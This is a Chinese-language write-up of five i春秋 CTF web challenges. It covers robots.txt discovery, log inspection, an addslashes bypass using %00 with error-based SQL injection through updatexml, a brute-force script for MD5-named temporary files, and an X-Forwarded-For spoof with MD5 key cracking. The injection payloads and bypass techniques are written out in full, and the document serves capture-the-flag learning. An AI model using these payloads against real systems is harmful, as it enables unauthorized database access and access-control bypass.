i春秋ctf 1-5詳解
一、robot
1、我們看到是robot首先想到的就是去訪問robots.txt檔案,一去訪問發現果然存在此檔案,裡面包含兩個檔案目錄,逐個訪問,只有admin/3he11.php能訪問,但是頁面無任何提示檢視原始碼就可以找到flag了
,
二、seelog
1、首先訪問這個IP,進去發現頁面提示“本站是內部網站”,
2、回頭看題目是seelog,就是看日誌,我們試著訪問以下log這個目錄,發現存在,並且還有兩個日誌檔案可以下載,既然他提示是內網,那麼就是內部網路能夠訪問,並且狀態碼是200,我們就在access.log檔案中找狀態碼是200的記錄。發現一條記錄wojiushihoutai…,複製下來訪問就可以看到flag了
三、VID
1、訪問網頁出現一串英文,不是很理解,檢視原始碼發現後面隱藏了一個index.php.txt,訪問之。
2、訪問了看了也不是很理解,大概就是說用get方式傳三個引數,分別是flag1,flag2,flag3,分別對應頁面的三段英文字母
3、訪問了提示我們下載一個zip檔案,下載下來開啟看是頁面的註冊,登入介面,但是這個存在sql注入,我們先分析程式碼
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
$db = new mysql_db();
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST['password']);
$number = is_numeric($_POST['number']) ? $_POST['number'] : 1;
$username = trim(str_replace($number, '', $username));
$sql = "select * from"."`".table_name."`"."where username=" ."'"."$username"."'";
這裡username處存在注入,他只進行了safe_data處理,我們跟進這個函式
public function safe_data($value){
if( MAGIC_QUOTES_GPC ){
stripcslashes($value);
}
return addslashes($value);
}
這個函式的意思就是不管是否開啟魔法函式都會對單引號進行轉義。那我們就要考慮怎麼去把這個“\”去掉。我們再看程式碼
$username = trim(str_replace($number, '', $username));
這個程式碼的意思是在username中找我們輸入的車牌號“number”,如果找到就替換成空,因為usename進過safe_data函式之後會對單引號進行轉義,那我們就需要構造語句對“\”進行轉義,然後單引號就是單引號而不會被轉義。
4、這裡先講一個%00,先看程式碼
<?php
$A=$_GET['a'];
echo "A".$A."<BR>";
$A=addslashes($A);
print $A
?>
我們傳入引數a=%00,然後輸出是這樣的,我們結合用number替換usename中的字元的函式就可以剩下一個“\”去轉義轉義單引號的“\”。
5、抓包放到repeater模組進行重放。
number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query //爆表
number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query //爆flag
四、天下武功唯快不破
1、先訪問網站,出現提示程式碼
<?php
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
$txt = file_get_contents('flag.php');
$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
file_put_contents($filename,$txt);
sleep(10);
unlink($filename);
}
這個程式碼的意思就是我們在訪問這個網頁的時候回將flag存在一個txt檔案中,但是這個txt檔案的名字是由1到999隨機生成的數字經過MD5加密之後拼接的,所以我們要自己寫一個python指令碼。
import hashlib,requests
def ww(url):
a=requests.get(url)
if a.status_code==200:
a.encoding="utf-8"
print(a.text)
for i in range(1,1001):
a=hashlib.md5(str(i)).hexdigest()
url="http://106.75.26.211:3333/u/"+a+".txt";
ww(url)
我們訪問這個網站後就執行指令碼,因為這個txt檔案只存在10秒,所以可能需要多嘗試幾次。
五、fuzzing
1、訪問提示“nothing”,抓包傳送到repeater模組,重放出現提示是一個大的內部網路就是10.10.10.10嘛
2、構造X-Forwarded-For: 10.10.10.10,在發包,提示訪問m4nage.php,注意訪問這些都要加X-Forwarded-For: 10.10.10.10
3、訪問m4nage.php提示如下圖
,
4、嘗試進行get和post傳送key引數,發現在用post發包時有提示,key是由前面的i春秋加後面的5個字元,寫個指令碼匹配
a=string.lowercase + string.digits
b=["ichunqiu"]
for i in a:
for j in a :
for k in a :
for y in a :
for x in a :
if hashlib.md5("ichunqiu"+i+j+k+y+x).hexdigest()=="5a2a7d385fdaad3fabbe7b11c28bd48e":
print ("ichunqiu"+i+j+k+y+x)
break
得出key然後post發包
5、更具提示訪問xx00xxoo.php,再訪問0.txt得到解密的原始碼,複製下來再本地搭建php,傳入對應引數得出flag